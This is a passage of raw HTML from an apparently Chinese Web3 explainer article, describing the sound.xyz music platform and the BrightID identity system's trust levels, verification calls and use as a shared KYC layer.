src="https://wechat2rss.xlab.app/img-proxy/?k=80269468&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7YQCzSY6c40GTvJ2JDSwIQugPpSYM30Y2epdJicNNSNBeg5RhZZibXdLw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">接下来就类似于传统的音乐平台了，你可以在线试听歌曲或使用ETH购买版权歌曲。</span><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;font-size: 10.5pt;"> </span><br/></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4146919431279621" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=0ea16e21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7jRGSRfUEPGSyR8ialXjloMciaf39NkXRhkAkxwqjCHKZ2kd4TicwXxqkQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">sound</span><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">.xyz</span><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">在使用上与传统音乐平台并没有太大的区别，其主要的区别在于注册方式以及版权的发售购买。</span><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">笔者在使用国内音乐平台时经常会遇到某个平台版权缺失、会员制等等问题。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">而这种版权混乱的情况也正是中心化平台的弊端，对于创作者和消费者都是及其不方便的。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">sound</span>.<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">xyz</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是去中心化的</span>，对于用户而言，你的密钥就是你购买了版权后的永久凭证，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">存储在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ipfs</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或链路上的内容其不可更改性保证了用户购买的音乐版权不会出现问题。</span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">而对于音乐创作者来说，这种版权直发的方式比将版权交给音乐公司这种渠道商更为方便，也更为直接，减少了中间的分发费用的同时保护了版权的唯一性。<o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" class="rich_pages wxw-img" data-w="44" style="display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">5.从传统KYC到BrightID</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>是一个基于以太坊生态的数字身份验证系统，完全独立于传统和互联网身份认证，通过创建和分析社交图谱来解决唯一身份问题，用户可以通过实人认证获得数字身份，目前<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Gitcoin</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">RabbitHole</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Status</span>等多个项目都已经采用其解决方案，曾多次获得<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">V</span>神的认可。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>使用场景包括、身份识别、应用程序用户验证、活动验证 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(</span>空投等<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span>、信任及信誉构建及其他。目前，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>还在开发<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">IDChain</span>。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">根据官方资料，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>时代的身份系统，它代表了你在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>时代的唯一性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">基于此唯一性，我们可以通过彼此之间的信任链接构成一个庞大的人类信任网络，这将在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>时代发挥巨大作用。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>相信社会恢复的力量可以保护数字身份和对自己身份的个人控制。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">如果有人偶然或有意窃取了用户的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>，那么用户只需要与最初联系的几个人重新建立联系，并让他们证明该用户与该 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID </span>是同一个人，就可以将 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID </span>账户找回。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID </span>基于身份构建信任网络，因此当用户链接任何人时，系统都将提示你与对方的链接前提，如：<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Suspicious</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：完全不认识这个人</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Just met</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：仅仅是一面之交而已</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Already known</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：和这个人非常熟 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">基友或闺蜜</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Recovery</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：家人，这个人可以帮助你恢复账号</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户应牢记以上信任级别，不要盲目链接以及盲目设置信任级别，你的每一次链接都在构建你个人信誉网络，不健康的信誉网络可能导致你在某些行为中信誉和经济利益受损 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(</span>例如空投活动等<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span>。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">为了保证用户身份的真实性与唯一性，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>会对用户进行视频会议以进行身份验证，验证过程中需打开视频，验证官会鉴别是否重复验证，一旦验证官发现重复验证，验证官会向 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID </span>举报，并撤销重复验证者的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID </span>账号。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;"><span style="text-decoration: underline;color: rgb(84, 84, 84);">BrightID</span>的使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">1.下载安装</span></strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">进入</span> </span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://www.brightid.org/" target="_blank">https://www.brightid.org/</a></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2430939226519337" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=639c588e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7emKnGiaEsmQCX7u5DRc0Ih09fzMZKW2TJcMEnpIMQ7tKib0Pg5WSIydg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">下载对应版本的</span>BrightID<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，进行用户名和头像设置，不需要提供身份证等任何个人隐私数据。在未得到任何应用程序验证的情况下，状态栏将显示 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">&#34;</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">未验证</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(unverified)&#34;</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">2.建立连接</span></strong></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9329652996845426" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=9cd743b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia72lv9GFibmPxqhLfp2SiaFD06BmqW39flic3WtcaDhPRKEic0LlTiaWiarYQA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">显示自己的二维码让另一个人扫描，此时双方的个人简介数据将通过一个安全的</span>P2P<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">通道进行交互。然后根据对彼此的了解程度选择连接的级别，选择正确的连接级别十分关键，直接影响算法检测虚假账户的正确率。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="201" data-backw="578" data-ratio="0.3472770323599053" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=8ad3ef36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia78cic6HRC0NaBOvHSMzeJ6uU7vZCiclQsZl6siayZkloFXxOcIalLRpBAA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">3.身份验证</span></strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">官方在各个</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">会议软件中都建立了验证通道，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">你可以通过</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Zoom</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或者腾讯会议等方式在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">安排的时间内进入验证会议。</span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">需要注意的是你需要打开摄像头和麦克风，主持人会将你加入到某一个验证小组，当主持人喊道你的时候，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">你可以使用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">brightid</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和主持人建立连接</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">主持人会询问你为什么要使用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span>，回答问题即可验证成功。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">4.连接应用程序</span></strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="color: rgb(84, 84, 84);font-size: 14px;">在验证成功后</span>，<span style="color: rgb(84, 84, 84);font-size: 14px;">在使用</span><span style="color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="color: rgb(84, 84, 84);font-size: 14px;">的应用程序里直接使用</span><span style="color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="color: rgb(84, 84, 84);font-size: 14px;">验证即可通过身份认证</span>。<span style="color: rgb(84, 84, 84);font-size: 14px;">例如在</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Honey</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">Token</span><span style="color: rgb(84, 84, 84);font-size: 14px;">分发程序</span></span>1<span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">Hive</span><span style="color: rgb(84, 84, 84);font-size: 14px;">中扫描</span><span style="color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="color: rgb(84, 84, 84);font-size: 14px;">提供的</span><span style="color: rgb(84, 84, 84);font-size: 14px;">QR</span><span style="color: rgb(84, 84, 84);font-size: 14px;">即可验证通过</span>。</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49724192277383766" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=fb09b176&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7jklaH2rwZPd7xGfJKuib5GwHoibI7K5j3HhgQZwHeE5tJRHlX17HkJXA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">可以说是传统</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">验证的集合体</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">它在验证通过后只需要将接口提供到</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dapp</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dapp</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">就能通过</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">验证</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">虽然听起来很简单，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但这当中</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">建立连接级别的规则以及身份验证的繁琐都是及其复杂的</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但只要验证通过后续的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">程序也就变得及其简单不再需要一遍又一遍的去进行</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">验证</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这其中还有一个关键问题，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">垄断平台来说用户的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">信息是这个平台的宝贵资源</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">因此</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">环境下就算存在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BrightID</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这样的统一身份认证系统</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">应用程序背后的中心化平台仍然会希望获取到用户的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">KYC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">信息并且不会共享到其他平台</span>。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dapp</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">也正是得益于其去中心化的优势才能够避免这种信息独吞的状况</span>。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">以上是从用户的角度来看的，我们换到开发者的角度。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">BrightID</span>作为统一身份认证管理能够大大减少其余<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">dapp</span>开发中身份认证的复杂处理并同时根据<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">BrightID</span>的身份关系网完美移植到需要开发的系统中。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: 